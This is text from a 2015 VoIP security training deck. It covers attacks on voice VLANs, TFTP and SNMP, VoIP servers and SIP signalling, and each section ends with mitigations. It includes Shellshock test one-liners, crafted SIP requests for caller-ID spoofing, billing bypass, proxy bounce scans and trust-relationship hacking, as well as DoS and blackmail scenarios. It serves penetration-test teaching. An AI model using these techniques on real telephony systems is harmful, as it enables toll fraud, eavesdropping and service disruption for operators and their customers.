Fuzzing, State Checks • Some Extra Features (Fuzz Library, SDP, MSRP) www.senseofsecurity.com.au © Sense of Security 2015 Page 12 – 8 August 2015 Network Infrastructure www.senseofsecurity.com.au © Sense of Security 2015 Page 13 – 8 August 2015 Corporate VoIP Infrastructure www.senseofsecurity.com.au © Sense of Security 2015 Page 14 – 8 August 2015 Unified Communications Services www.senseofsecurity.com.au © Sense of Security 2015 Page 15 – 8 August 2015 Hosted/Cloud VoIP Services www.senseofsecurity.com.au © Sense of Security 2015 Page 16 – 8 August 2015 Plan & Goals Plan • Identifying the network design issues • Unauthorised access to the Voice LAN/WAN • Attacking network services • Persistent access Goals • Persistent unauthorised network access • Mass compromise of clients and services • Eavesdropping www.senseofsecurity.com.au © Sense of Security 2015 Page 17 – 8 August 2015 A Recipe for Network Attacks • Discover VoIP network configuration, design and requirements • Find Voice VLAN and gain access • Gain access using PC port on IP Phone • Understanding the switching security for • Main vendor for VoIP infrastructure • Network authentication requirements • VLAN ID and requirements • IP Phone management services • Persistent access www.senseofsecurity.com.au © Sense of Security 2015 Page 18 – 8 August 2015 Understanding the VoIP Service • Client Types • Soft phones (IP Communicator, Android/iOS Apps) • IP phones and handsets (Cisco 7945, Yealink) • Video conference equipment (Cisco Presence) • External meeting services (Webex, GoMeeting) • Service Purpose • International/National landline/Cell endpoints • Call centre (commercial vs Open Source) • Commercial VoIP services (mobile, hosted) • Internal usage (VLAN, conference rooms) • VoIP protocols (Skinny, SIP, RTP, IAX, H.323) www.senseofsecurity.com.au © Sense of Security 2015 Page 19 – 8 August 2015 LAN and WAN Design for VoIP • Local Area Network • Voice VLAN usage (protected, authenticated) • Network segmentation (computers vs VoIP) • Supportive services (CDP, DHCP, TFTP, HTTP, SNMP) • Wide Area Network • Connection types (routers, VPNs, landline) • Bottlenecks vs QoS requirements • Service trusts and trunk usage • Primary Concerns for Commercial Services • Service contingency requirements • Denial of Service targets www.senseofsecurity.com.au © Sense of Security 2015 Page 20 – 8 August 2015 Getting Physical Access to the LAN • Local distribution rooms and infrastructure • Network termination and endpoint facilities www.senseofsecurity.com.au © Sense of Security 2015 Page 21 – 8 August 2015 Getting Physical Access to the LAN • Meeting room and lobby phones, conference devices, emergency phones • PC ports, Power Over Ethernet • Raspberry Pi • Permanent access with 4G www.senseofsecurity.com.au © Sense of Security 2015 Page 22 – 8 August 2015 LAN Discovery for Voice VLAN • Attack Types • PC Ports of the IP phone and handsets • CDP sniffing/spoofing for Voice VLAN • DTP and VLAN Trunking Protocol attacks • ARP spoofing for MITM attacks • HSRP spoofing for MITM attacks • DHCP spoofing & snooping • Persistent access • Tapberry Pi (a.k.a berry-tap) • Tampered phone + PoE • 3G/4G for connectivity www.senseofsecurity.com.au © Sense of Security 2015 Page 23 – 8 August 2015 Getting Access Using PC Port • IP Phones have a PC Port for desktop usage • CDP spoofing is not required • VLAN setting is not required • DTP spoofing is not required • Authentication of IP Phones • 802.1x - using Hub to bypass • EAP-MD5 dictionary attack www.senseofsecurity.com.au © Sense of Security 2015 Page 24 – 8 August 2015 How to make your own Tapberry Pi RJ45 Connection Pins www.senseofsecurity.com.au © Sense of Security 2015 Page 25 – 8 August 2015 How to make your own Tapberry Pi Speaker Power Patch the Cat5 cable www.senseofsecurity.com.au © Sense of Security 2015 Page 26 – 8 August 2015 CDP Sniffing and Spoofing • Discovering Cisco devices • Learning Voice VLAN • Tools • Wireshark • VoIP Hopper • CDP-tools • Viproy CDP module • Sniffing to learn the network infrastructure • Sending a spoofed CDP packet as an IP Phone to get access to the Voice VLAN • Connect to the Voice VLAN (802.1x, EAP-MD5) www.senseofsecurity.com.au © Sense of Security 2015 Page 27 – 8 August 2015 Cisco Discovery Protocol (CDP) www.senseofsecurity.com.au © Sense of Security 2015 Page 28 – 8 August 2015 Dynamic Trunking Protocol (DTP) • Ports can be a trunk or not (dynamically) • Default state is DTP allowed for all ports • Port negotiation and encapsulation • 802.1Q/ISL • Enable trunking, double encapsulation • DTP master shares VLAN information with all downstream switches • Find the Voice VLAN and get access • Tools • Yersinia • Metasploit DTP Module www.senseofsecurity.com.au © Sense of Security 2015 Page 29 – 8 August 2015 Dynamic Trunking Protocol (DTP) www.senseofsecurity.com.au © Sense of Security 2015 Page 30 – 8 August 2015 Getting Access to the Voice VLAN • Adding the Voice VLAN • max 4094 VLANs for Cisco, can be brute-forced • Linux • vconfig add eth0 VLANID • dhclient eth0.VLANID • Mac OS X • Settings -> Network -> Manage Virtual Interfaces www.senseofsecurity.com.au © Sense of Security 2015 Page 31 – 8 August 2015 ARP Scanning and Spoofing • ARP Scan • ARP Spoofing • MITM Attack • Hijacking • SSL • SSH keys • Rogue service • Tools • Cain & Abel • Ettercap • Dsniff www.senseofsecurity.com.au © Sense of Security 2015 Page 32 – 8 August 2015 ARP Scanning and Spoofing • ARP Scanning • Find MAC and IPs to guess names of configuration files stored on TFTP/HTTP servers • SIP/Skinny authentication with MAC address • ARP Spoofing and being the … • TFTP server (configuration, updates, SSH keys) • DNS server • Web server (management, IP phone services) • SIP/Skinny server/Proxy • RTP proxy • MAC based filtering and authentication www.senseofsecurity.com.au © Sense of Security 2015 Page 33 – 8 August 2015 DHCP Spoofing • DHCP Sniffing • Finding IP range • Finding TFTP/HTTP • Finding DNS • DHCP Spoofing • Suspend the DHCP server • DHCP consumption (request all IP addresses) • Become a Rogue DHCP Server • Send spoofed DHCP responses to the IP phones • Custom TFTP and DNS server www.senseofsecurity.com.au © Sense of Security 2015 Page 34 – 8 August 2015 Attacking the TFTP Server • VoIP networks generally use TFTP servers for configuration, update, certificate, SSH keys management. (Web servers may be in use) • Obtaining configuration files for MAC addresses • SEPDefault.cnf, SEPXXXXXXXXXXXX.cnf.xml • SIPDefault.cnf, SIPXXXXXXXXXXXX.cnf.xml • Identifying SIP, Skinny, RTP and web settings • Finding IP phones software versions and updates • Configuration files may have username/passwords • Digital signature/encryption usage for files • Tools: TFTPTheft, Metasploit www.senseofsecurity.com.au © Sense of Security 2015 Page 35 – 8 August 2015 Sample Configuration for Cisco <deviceProtocol>SCCP</deviceProtocol> <sshUserId>USER</sshUserId> <sshPassword>PASSWORD</sshPassword> <webAccess>1</webAccess> <settingsAccess>1</settingsAccess> <sideToneLevel>0</sideToneLevel> <spanToPCPort>1</spanToPCPort> <sshAccess>1</sshAccess> <phonePassword>1234</phonePassword> www.senseofsecurity.com.au © Sense of Security 2015 Page 36 – 8 August 2015 Sample Configuration for Polycom reg.1.address="3047" reg.1.label="3047“ reg.1.auth.userId="7d5b905ecc1b1efa7077868 70276a940" reg.1.auth.password="d9429ad54c3ee623f6e2 0ae39de758ee“ divert.fwd.1.enabled="0" www.senseofsecurity.com.au © Sense of Security 2015 Page 37 – 8 August 2015 Become the TFTP Server • Send fake IP addresses for … • HTTP server • IP phones management server • SIP server and proxy • Skinny server • RTP server and proxy • Deploy SSH public keys for SSH on IP Phones • Update custom settings of IP Phones • Null ring, custom alerts • Deploy custom OS update and code execution www.senseofsecurity.com.au © Sense of Security 2015 Page 38 – 8 August 2015 SNMP Weaknesses • SNMP protocol • UDP protocol, IP spoofing, no encryption • Authentication • Community name (public, private, cisco) • SNMPv3 username/password attacks • SNMP Software • SNMP management software vulnerabilities • Buffer overflows, memory corruptions • Practical Attacks • Device configuration download and upload • Information gathering, code execution www.senseofsecurity.com.au © Sense of Security 2015 Page 39 – 8 August 2015 Exercises • CDP Spoofing to get VLAN access • Cisco IP Phone configuration file enumeration through TFTP • Polycom IP Phone configuration file enumeration through HTTP • SNMP scanning and enumeration www.senseofsecurity.com.au © Sense of Security 2015 Page 40 – 8 August 2015 Solutions • Secure network design • Secure network infrastructure • DHCP snooping protection • ARP Spoofing protection • 802.1x for Voice VLANs • Using secure network protocols • TFTP -> FTP+SSL or HTTPS • Telnet -> SSH • SNMP v1 v2c -> SNMP v3 with authentication • Using digital signature and encryption for software updates and configuration www.senseofsecurity.com.au © Sense of Security 2015 Page 41 – 8 August 2015 VoIP Server Security www.senseofsecurity.com.au © Sense of Security 2015 Page 42 – 8 August 2015 VoIP Servers and Devices • Signalling servers and devices • Media gateways • SIP and RTP Proxies • IP phones www.senseofsecurity.com.au © Sense of Security 2015 Page 43 – 8 August 2015 Plan & Goals Plan • Discover the VoIP servers and devices • Identify insecure software and management • Exploit the identified vulnerabilities Goals • Persistent unauthorised server access • Mass compromise of clients and services • Persistent call and toll fraud attacks • Voice recordings, CDR, VAS services www.senseofsecurity.com.au © Sense of Security 2015 Page 44 – 8 August 2015 Discovering VoIP Servers • Looking for • Signalling servers (e.g. SIP, Skinny, H.323, H.248) • Proxy servers (e.g. RTP, SIP, SDP) • Contact Centre services • Voicemail and email integration • Call recordings, call data records, log servers • Discovering • Operating systems, versions and patch level • Management services (e.g. SNMP, RDP, Telnet, HTTP, SSH) • Weak or default credentials www.senseofsecurity.com.au © Sense of Security 2015 Page 45 – 8 August 2015 Discovering VoIP Servers • NMAP • Port scanning, service identification • # nmap –sS –sV –A –p1-65535 192.168.1.1/24 • Metasploit Framework • Viproy modules to discover VoIP services • UDP, ARP, SNMP, SSH, telnet discovery modules • Brute-force and enumeration modules • Commercial & Open Source Vulnerability Scanners • Nessus, Qualys, Nexpose, OpenVAS www.senseofsecurity.com.au © Sense of Security 2015 Page 46 – 8 August 2015 Discovering VoIP Servers Nmap scanning for service identification www.senseofsecurity.com.au © Sense of Security 2015 Page 47 – 8 August 2015 Identifying Vulnerabilities • Operating system vulnerabilities • Obsolete software • Missing security patches • Vulnerable 3rd party libraries • Embedded system and hardware attacks • Unauthorised physical access • Insecure configuration and management • Insecure management services and software • Default credentials and settings • Insecure network services (TFTP, FTP, HTTP) • Insecure web applications (Log, Reporting) www.senseofsecurity.com.au © Sense of Security 2015 Page 48 – 8 August 2015 Possible Targets • VoIP Service Suites • Cisco Product Family (e.g. CUCM, VOSS) • Alcatel-Lucent Product Family (e.g.Opentouch X ) • Avaya Product Family (e.g. Contact Centers) • SIP Servers • SIPXecs, Asterisk, FreeSwitch, Kamalio, FreePBX • Gateways • Proxy appliance, Media gateway • Database Servers • Management Software • HP & Dell management, Tivoli, Solarwinds www.senseofsecurity.com.au © Sense of Security 2015 Page 49 – 8 August 2015 Major Vulnerabilities: Shellshock • Bourne Again Shell (BASH) allows users to execute unauthorised commands through the concatenated commands. • It can be remotely exploited through the network services such as HTTP, DNS and SIP • Major vendors and projects are affected • Asterisk, FreePBX, Cisco, Avaya, Embedded devices CVE-2014-6271, CVE-2014-6277, CVE-2014-6278, CVE-2014-7169, CVE-2014-7186, CVE-2014-7187 www.senseofsecurity.com.au © Sense of Security 2015 Page 50 – 8 August 2015 Major Vulnerabilities: Shellshock CVE-2014-6271 env X='() { :; }; echo "CVE-2014-6271 vulnerable"' bash -c id CVE-2014-7169 env X='() { (a)=>\' bash -c "echo date"; cat echo CVE-2014-7186 bash -c 'true <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF' || echo "CVE-2014-7186 vulnerable, redir_stack“ www.senseofsecurity.com.au © Sense of Security 2015 Page 51 – 8 August 2015 Major Vulnerabilities: Shellshock CVE-2014-7187 (for x in {1..200} ; do echo "for x$x in ; do :"; done; for x in {1..200} ; do echo done ; done) | bash || echo "CVE-2014-7187 vulnerable, word_lineno“ CVE-2014-6278 env X='() { _; } >_[$($())] { echo CVE-2014-6278 vulnerable; id; }' bash -c : CVE-2014-6277 env X='() { x() { _; }; x() { _; } <<a; }' bash -c : www.senseofsecurity.com.au © Sense of Security 2015 Page 52 – 8 August 2015 Major Vulnerabilities: Heartbleed • OpenSSL allows users to extract arbitrary information remotely from the server memory. • It can be remotely exploited through the heartbeat enabled HTTPS connections if the web server is compiled with OpenSSL. • Major vendors and projects are affected • Asterisk, FreePBX, Cisco, Avaya, Embedded devices CVE-2014-0160 www.senseofsecurity.com.au © Sense of Security 2015 Page 53 – 8 August 2015 Major Vulnerabilities: Heartbleed www.senseofsecurity.com.au © Sense of Security 2015 Page 54 – 8 August 2015 Major Vulnerabilities: Heartbleed www.senseofsecurity.com.au © Sense of Security 2015 Page 55 – 8 August 2015 Major Vulnerabilities: Heartbleed www.senseofsecurity.com.au © Sense of Security 2015 Page 56 – 8 August 2015 Demonstration of Shellshock exploit www.senseofsecurity.com.au © Sense of Security 2015 Page 57 – 8 August 2015 Exercises • OpenSSL Heartbleed exploitation • Unauthorised Asterisk login • FreePBX remote command execution • FreePBX file upload command execution • Shellshock exploitation for Cisco CUCM www.senseofsecurity.com.au © Sense of Security 2015 Page 58 – 8 August 2015 Solutions • Implement a security update procedure • Subscribe to the vendor announcements • Implement all security fixes ASAP • Servers, appliances, IP phones • User secure management protocols • Strong authentication and password policy • Strong encryption (disable SSL and weak algorithms) • Secure management protocols (e.g. HTTPS, SSH) • Use a monitoring and integrity checking system to avoid backdoors www.senseofsecurity.com.au © Sense of Security 2015 Page 59 – 8 August 2015 Signalling Security www.senseofsecurity.com.au © Sense of Security 2015 Page 60 – 8 August 2015 Signalling Essentials VoIP = Signalling + Media • Signalling services are responsible to initiate, track, transfer, record (CDR) and terminate VoIP calls. • Multimedia transfer is a feature NOT provided by signalling services. (except H.323 and IAX2) • Major signalling protocols • SIP + Vendor Extensions e.g. Cisco, Microsoft • Cisco Skinny Call Control Protocol (SCCP / Skinny) www.senseofsecurity.com.au © Sense of Security 2015 Page 61 – 8 August 2015 Plan & Goals Plan • Discovering signalling services • Authentication and authorisation analysis • Bypass tests for call restrictions and billing • Server load analysis Goals • Call and toll fraud • Compromising the billing system • Blackmail using TDoS and DoS www.senseofsecurity.com.au © Sense of Security 2015 Page 62 – 8 August 2015 SIP Signalling www.senseofsecurity.com.au © Sense of Security 2015 Page 63 – 8 August 2015 Session Initiation Protocol • It was developed in 1996, standardised in 2002 • Signalling methods • Register • Invite • Subscribe • Message • Encryption is required to protect RTP, message contents and credentials • Authentication • Digest, Digital Certificate, NTLM, Kerberos • Unified Communications www.senseofsecurity.com.au © Sense of Security 2015 Page 64 – 8 August 2015 Basic SIP Flow SIP Server 1- REGISTER 1- 200 OK 2- INVITE 3- INVITE 3- 183 Trying 3- 200 OK 4- ACK RTP Proxy RTP Phone A Phone B RTP 4- 200 OK www.senseofsecurity.com.au © Sense of Security 2015 Page 65 – 8 August 2015 Less Complicated SIP Flow www.senseofsecurity.com.au © Sense of Security 2015 Page 66 – 8 August 2015 Unified Communications • Forget TDM and PSTN • SIP, Skinny, H.248, RTP, MSAN/MGW • Smart customer modems & phones • Cisco UCM , Asterisk, Avaya, FreeSwitch • Linux operating system • Web based management services • VoIP services (Skinny, SIP, RTP) • Essential network services (TFTP, DHCP) • Call centre, voicemail, value added services www.senseofsecurity.com.au © Sense of Security 2015 Page 67 – 8 August 2015 Corporate VoIP Infrastructure www.senseofsecurity.com.au © Sense of Security 2015 Page 68 – 8 August 2015 Unified Communications Services www.senseofsecurity.com.au © Sense of Security 2015 Page 69 – 8 August 2015 Attacking SIP services • Essential analysis • Registration and invitation analysis • User enumeration, brute force for credentials • Discovery for SIP trunks, gateways and trusts • Caller ID spoofing (w/wo register or trunk) • Advanced analysis • Finding value added services and voicemail • SIP trust hacking • SIP proxy bounce attack www.senseofsecurity.com.au © Sense of Security 2015 Page 70 – 8 August 2015 Basic Attacks We are looking for... • Finding and identifying SIP services and purposes • Discovering available methods and features • Discovering SIP software and vulnerabilities • Identifying valid target numbers, users, realms • Unauthenticated registration (trunk, VAS, gateway) • Brute-forcing valid accounts and passwords • Invite without registration • Direct invite from special trunk (IP based) • Invite spoofing (with/without register, via trunk) www.senseofsecurity.com.au © Sense of Security 2015 Page 71 – 8 August 2015 Discovery • Finding and Identifying SIP Services • Different ports, different purposes • Internal Communication Service or PSTN Gateway • Discovering Available Methods • Register, Direct Invite, Options • Soft switch, Call Manager, mobile client software, IP phone • Discovering SIP Software • Well-known software vulnerabilities • Software compliance and architecture • Network endpoints and 3rd party detection www.senseofsecurity.com.au © Sense of Security 2015 Page 72 – 8 August 2015 Options Method OPTIONS sip:192.168.1.1 SIP/2.0 Via: SIP/2.0/UDP 192.168.0.11:0;rport;branch=branchVGdOAdUioz Max-Forwards: 70 From: <sip:[email protected]>;tag=K75k51bxRK;epid=kMqwphxdeu To: <sip:[email protected]> Call-ID: call2Gtcfu093DUo7Z6HbGm87WTAI75BrW CSeq: 1234 OPTIONS Contact: <sip:[email protected]:0> User-Agent: Viproy Penetration Testing Kit - Test Agent Allow: PRACK, INVITE ,ACK, BYE, CANCEL, UPDATE, SUBSCRIBE,NOTIFY, REFER, MESSAGE, OPTIONS Expires: 3600 Accept: application/sdp Content-Length: 0 www.senseofsecurity.com.au © Sense of Security 2015 Page 73 – 8 August 2015 Register Method REGISTER sip:192.168.1.1 SIP/2.0 Via: SIP/2.0/UDP 192.168.0.11:5066;rport;branch=branch4GMsx5FDmR Max-Forwards: 70 From: <sip:[email protected]>;tag=rqdA8Lolik;epid=TxX4MN68k3 To: <sip:[email protected]> Call-ID: [email protected] CSeq: 1 REGISTER Contact: <sip:[email protected]:5066> User-Agent: Viproy Penetration Testing Kit - Test Agent Supported: 100rel,replaces Allow: PRACK, INVITE ,ACK, BYE, CANCEL, UPDATE, SUBSCRIBE,NOTIFY, REFER, MESSAGE, OPTIONS Expires: 3600 Accept: application/sdp Content-Length: 0 www.senseofsecurity.com.au © Sense of Security 2015 Page 74 – 8 August 2015 Subscribe Method SUBSCRIBE sip:[email protected] SIP/2.0 Via: SIP/2.0/UDP 192.168.0.11:0;rport;branch=branchG3x7d4V1pc Max-Forwards: 70 From: "1000" <sip:[email protected]>;tag=ckPqVBVPAx;epid=PWVkqSHbVO To: <sip:[email protected]> Call-ID: [email protected] CSeq: 1 SUBSCRIBE Contact: <sip:[email protected]:0> User-Agent: Viproy Penetration Testing Kit - Test Agent Supported: 100rel,replaces Allow: PRACK, INVITE ,ACK, BYE, CANCEL, UPDATE, SUBSCRIBE,NOTIFY, REFER, MESSAGE, OPTIONS Expires: 3600 Event: message-summary Accept: application/simple-message-summary Content-Length: 0 www.senseofsecurity.com.au © Sense of Security 2015 Page 75 – 8 August 2015 Discovery Tests • Unauthenticated Registration • Special trunks • Special VAS numbers • Gateways • Enumeration • Extensions, Users, Realms, MAC addresses • De-Registration for Valid Users • Brute-Forcing Valid Accounts and Passwords • With well-known user list • Numeric user ranges www.senseofsecurity.com.au © Sense of Security 2015 Page 76 – 8 August 2015 Cisco SIP Services Enumeration • Extensions (e.g. 1001) • MAC address in Contact field • SIP digest authentication (user + password) • SIP x.509 authentication • All authentication elements must be valid! Good news, we have SIP enumeration inputs! • Warning: 399 bhcucm "Line not configured” • Warning: 399 bhcucm "Unable to find device/user in database" • Warning: 399 bhcucm "Unable to find a device handler for the request received on port 52852 from 192.168.0.101” • Warning: 399 bhcucm "Device type mismatch" www.senseofsecurity.com.au © Sense of Security 2015 Page 77 – 8 August 2015 Register and Subscribe Register / Subscribe (FROM, TO, Credentials) www.senseofsecurity.com.au © Sense of Security 2015 Page 78 – 8 August 2015 Invite, CDR and Billing Tests • Free calling, call spoofing • Free VAS services, free international calling • Breaking call barriers • Invite without registration (e.g. Phones, Trunks) • Spoofing with... • Via field, From field • P-Asserted-Identity, P-Called-Party-ID, P-Preferred- Identity • ISDN Calling Party Number, Remote-Party-ID • Bypass with... • P-Charging-Vector (Spoofing, Manipulating) • Re-Invite, Update (Without/With P-Charging-Vector) www.senseofsecurity.com.au © Sense of Security 2015 Page 79 – 8 August 2015 Invite Method (Headers) INVITE sip:[email protected] SIP/2.0 Via: SIP/2.0/UDP 192.168.0.11:5065;rport;branch=branchLhpAPuhw0I Max-Forwards: 70 From: "1000" <sip:[email protected]>;tag=pxeYwF48t8;epid=XeOPqADs0c To: <sip:[email protected]> Call-ID: [email protected] CSeq: 1 INVITE Contact: <sip:[email protected]:5065> User-Agent: Viproy Penetration Testing Kit - Test Agent Supported: 100rel,replaces Allow: PRACK, INVITE ,ACK, BYE, CANCEL, UPDATE, SUBSCRIBE,NOTIFY, REFER, MESSAGE, OPTIONS Expires: 3600 Accept: application/sdp Content-Type: application/sdp Content-Length: 407 www.senseofsecurity.com.au © Sense of Security 2015 Page 80 – 8 August 2015 Invite Method (SDP Content) v=0 o=Cisco-SIPUA 158056866 158056866 IN IP4 192.168.0.11 s=Source t=0 0 m=audio 16392 RTP/AVP 0 8 18 102 9 116 101 c=IN IP4 192.168.0.11 a=rtpmap:3 GSM/8000a=rtpmap:0 PCMU/8000 a=rtpmap:8 PCMA/8000 a=rtpmap:18 G729/8000 a=fmtp:18 annexb=no a=rtpmap:102 L16/16000 a=rtpmap:9 G722/8000 a=rtpmap:116 iLBC/8000 a=fmtp:116 mode=20 a=rtpmap:101 telephone-event/8000 a=fmtp:101 0-15 a=sendrecv www.senseofsecurity.com.au © Sense of Security 2015 Page 81 – 8 August 2015 Invite, CDR and Billing Tests Invite / Ack / Re-Invite / Update (FROM, TO, VIA, Credentials) www.senseofsecurity.com.au © Sense of Security 2015 Page 82 – 8 August 2015 Toll fraud for CUCM • Cisco UCM accepts MAC address as identity • No authentication (secure deployment?) • Rogue SIP gateway with no authentication • Caller ID spoofing with proxy headers • Via field, From field • P-Asserted-Identity, P-Called-Party-ID • P-Preferred-Identity • ISDN Calling Party Number, Remote-Party-ID* • Billing bypass with proxy headers • P-Charging-Vector (Spoofing, Manipulating) • Re-Invite, Update (With/Without P-Charging-Vector) * https://tools.cisco.com/bugsearch/bug/CSCuo51517 www.senseofsecurity.com.au © Sense of Security 2015 Page 83 – 8 August 2015 Caller ID spoofing on CUCM Remote-Party-ID header Remote-Party-ID: <sip:[email protected]>;party=called;screen=yes;privacy=off • Caller ID spoofing • Billing bypass • Accessing voicemail • 3rd party operators www.senseofsecurity.com.au © Sense of Security 2015 Page 84 – 8 August 2015 Caller ID fraud for all operators? • Telecom operators trust source Caller ID • One insecure operator to rule them all www.senseofsecurity.com.au © Sense of Security 2015 Page 85 – 8 August 2015 Fake Caller ID for messages? • Call me back function on voicemail / calls • Sending many spoofed messages for DoS • Overseas • Roaming • Social engineering (voicemail notification) • Value added services • Add a data package to my line • Subscribe me to a new mobile TV service • Reset my password/PIN/2FA • Group messages, celebrations www.senseofsecurity.com.au © Sense of Security 2015 Page 86 – 8 August 2015 Exercises • SIP service discovery • User and extension enumeration for SIP services • Brute force attacks against SIP services • Register tests with/without authentication • Invite tests for call analysis • Message tests for SMS analysis • Call Spoofing exercises www.senseofsecurity.com.au © Sense of Security 2015 Page 87 – 8 August 2015 Advanced SIP Attacks Unified Communications infrastructure and commercial subscriber services may be susceptible to the advanced attacks. • SIP Proxy Bounce Attacks • SIP Trust Relationship Hacking • DoS and DDoS Tests • Fuzzing www.senseofsecurity.com.au © Sense of Security 2015 Page 88 – 8 August 2015 SIP Proxy Bounce Attack • SIP Proxies Redirect Requests to the Others • We can access and scan them via SIP proxy • We can scan inaccessible servers • URI field is useful for this scan • Business Impact • SIP trust relationship hacking • Attacking inaccessible servers • Attacking the SIP software and protocol • Software, Version, Type, Realm www.senseofsecurity.com.au © Sense of Security 2015 Page 89 – 8 August 2015 SIP Proxy Bounce Attack (Headers) OPTIONS sip:10.1.1.1:5060 SIP/2.0 Via: SIP/2.0/UDP 192.168.0.11:5065;rport;branch=branchkUk5jYbvQk Max-Forwards: 70 From: <sip:[email protected]:5060>;tag=FCXdqAEChY;epid=Fho7Ha8vX4 To: <sip:[email protected]:5060> Call-ID: callQOAFEvMfOoMfe1mwJDDJeOvr6nydEb CSeq: 1234 OPTIONS Contact: <sip:[email protected]:5065> User-Agent: Viproy Penetration Testing Kit - Test Agent Allow: PRACK, INVITE ,ACK, BYE, CANCEL, UPDATE, SUBSCRIBE,NOTIFY, REFER, MESSAGE, OPTIONS Expires: 3600 Accept: application/sdp Content-Length: 0 Client IP Scan Target no SIP proxy address in the request www.senseofsecurity.com.au © Sense of Security 2015 Page 90 – 8 August 2015 SIP Proxy Bounce Attack 192.168.1.146 Melbourne 192.168.1.202 Brisbane 192.168.1.145 - Sydney Production SIP Service www.senseofsecurity.com.au © Sense of Security 2015 Page 91 – 8 August 2015 Denial of Service Tests • Locking All Customer Phones and Services for Blackmail • Denial of Service Vulnerabilities of SIP Services • Multiple responses for bogus requests → DDOS • Concurrent registered user/call limits • Voice Message Box, CDR, VAS based DOS attacks • Bye and cancel tests for call drop • Locking all accounts if account locking is active for multiple fails • Multiple Invite (With/Without Register, Via Trunk) • Calling all numbers at same time • Overloading SIP server's call limits • Calling expensive gateways, targets or VAS www.senseofsecurity.com.au © Sense of Security 2015 Page 92 – 8 August 2015 Distributed Denial of Service Tests • SIP Amplification Attack • SIP Servers Send Errors Many Times (10+) • We Can Send IP Spoofed Packets • SIP Servers Send Responses to Victim • => 1 packet for 10+ Packets, ICMP Errors (Bonus) www.senseofsecurity.com.au © Sense of Security 2015 Page 93 – 8 August 2015 Distributed Denial of Service Tests SIP based DoS attacks • UDP vulnerabilities and IP spoofing • Too many errors, very very verbose mode • ICMP errors 192.168.1.146 Melbourne 192.168.1.202 Brisbane 192.168.1.145 - Sydney Production SIP Service Alderaan IP spoofed UDP SIP request www.senseofsecurity.com.au © Sense of Security 2015 Page 94 – 8 August 2015 Hacking SIP Trust Relationships • NGN/UC SIP Services Trust Each Other • Authentication and TCP are slow, they need speed. UDP is the solution. • IP and port based trust is most effective way • What We Need • Target number to call (cell phone if service is public) • Tech magazine, web site information, news Hacme Telecom proudly announces the new cheap call services supported by OverSeas Telecom. www.senseofsecurity.com.au © Sense of Security 2015 Page 95 – 8 August 2015 Hacking SIP Trust Relationships Steps: • Finding Trusted SIP Networks (Mostly B Class) • Sending IP Spoofed Requests from Each IP:Port • Each Call Should Contain IP:Port in "From" Section • If We Have a Call, We Have The Trusted SIP Gateway IP and Port • Initiate unauthorised calls after obtaining the trusted IP:Port pair www.senseofsecurity.com.au © Sense of Security 2015 Page 96 – 8 August 2015 Hacking SIP Trust (Headers) INVITE sip:[email protected] SIP/2.0 Via: SIP/2.0/UDP 10.1.1.1:5060;branch=branchkjBzDAQuaX;rport Max-Forwards: 70 From: "10.1.1.1:5060" <sip:10.1.1.1:[email protected]>;tag=tagnO4D1aHiEb Contact: <sip:10.1.1.1:[email protected]> To: <sip:[email protected]> Call-ID: [email protected] CSeq: 1 INVITE User-Agent: Test Agent Allow: INVITE, ACK, CANCEL, OPTIONS, BYE, REFER, SUBSCRIBE, NOTIFY, INFO Expires: 3600 Supported: replaces, timer Content-Type: application/sdp Content-Length: 218 SIP Server IP Scanning Target IP and Port www.senseofsecurity.com.au © Sense of Security 2015 Page 97 – 8 August 2015 Hacking SIP Trust (Content) v=0 o=root 1716603896 1716603896 IN IP4 10.1.1.1 s=Test Source c=IN IP4 10.1.1.1 t=0 0 m=audio 10024 RTP/AVP 0 101 a=rtpmap:0 PCMU/8000 a=rtpmap:101 telephone-event/8000 a=fmtp:101 0-16 a=ptime:20 a=sendrec www.senseofsecurity.com.au © Sense of Security 2015 Page 98 – 8 August 2015 Hacking SIP Trust Relationships Send INVITE/MESSAGE requests with • IP spoofing (source is Brisbane), • from field contains Spoofed IP and Port, the caller ID will be your trusted host. Universal Trust Tatooine 192.168.1.146 Melbourne 192.168.1.202 Brisbane 192.168.1.145 - Sydney Production SIP Service UDP Trust www.senseofsecurity.com.au © Sense of Security 2015 Page 99 – 8 August 2015 Attacking a client using SIP trust Universal Trust Tatooine It’s a TRAP! Send INVITE/MESSAGE requests with • IP spoofing (source is Brisbane), • from field contains special number, you will have fun or voicemail access. 192.168.1.146 Melbourne 192.168.1.202 Brisbane 192.168.1.145 - Sydney Production SIP Service UDP Trust www.senseofsecurity.com.au © Sense of Security 2015 Page 100 – 8 August 2015 Hacking SIP Trust – Business Impact • Denial of Service • Calling all numbers at same time • Overloading SIP server's call limits • Overloading VAS service or international limits • Overloading CDR records with spoofed calls • Short Message Service and Billing Attacks • Attacking Server Software • Crashing/exploiting inaccessible features • Call redirection (working on it, not yet :/) • Attacking a Client? www.senseofsecurity.com.au © Sense of Security 2015 Page 101 – 8 August 2015 Fuzzing • Fuzzing as a SIP Client | SIP Server | Proxy | MITM • SIP Server Software • SIP Clients • Hardware devices, IP phones, Video Conference systems • Desktop application or web based software • Mobile software • Special SIP Devices/Software • SIP firewalls, ACL devices, proxies • Connected SIP trunks, 3rd party gateways • MSAN/MGW • Logging software (indirect) • Special products: Cisco, Alcatel, Avaya, ZTE... www.senseofsecurity.com.au © Sense of Security 2015 Page 102 – 8 August 2015 Old School Fuzzing vs Smart Fuzzing • Request Fuzzing • SDP features • MIME type fuzzing • Response Fuzzing • Authentication, Bogus Messages, Redirection • Static vs Stateful • How about Smart Fuzzing • Missing state features (ACK,PHRACK,RE-INVITE,UPDATE) • Fuzzing after authentication (double account, self-call) • Response fuzzing (before or after authentication) • Missing SIP features (IP spoofing for SIP trunks, proxy headers) • Numeric fuzzing for services is NOT memory corruption • Dial plan fuzzing, VAS fuzzing www.senseofsecurity.com.au © Sense of Security 2015 Page 103 – 8 August 2015 Demonstration for the SIP attacks www.senseofsecurity.com.au © Sense of Security 2015 Page 104 – 8 August 2015 Exercises • SIP Proxy Bounce Attack • SIP Trust Relationship Hacking • Sending malicious SMSes • Sending malicious calls • DoS and DDoS Tests www.senseofsecurity.com.au © Sense of Security 2015 Page 105 – 8 August 2015 Solutions • Use SIP over TCP or SCTP • Enable the Transport Layer Security (TLS) • Do not use IP based SIP trunks • OAuth for SIP • Session tokens in the SIP headers • Digital certificate based authentication • Implement input validation for SIP headers • Customise the error messages • Don’t proxy the unauthorised IPs and Domains • Don’t accept proxy headers on client requests www.senseofsecurity.com.au © Sense of Security 2015 Page 106 – 8 August 2015 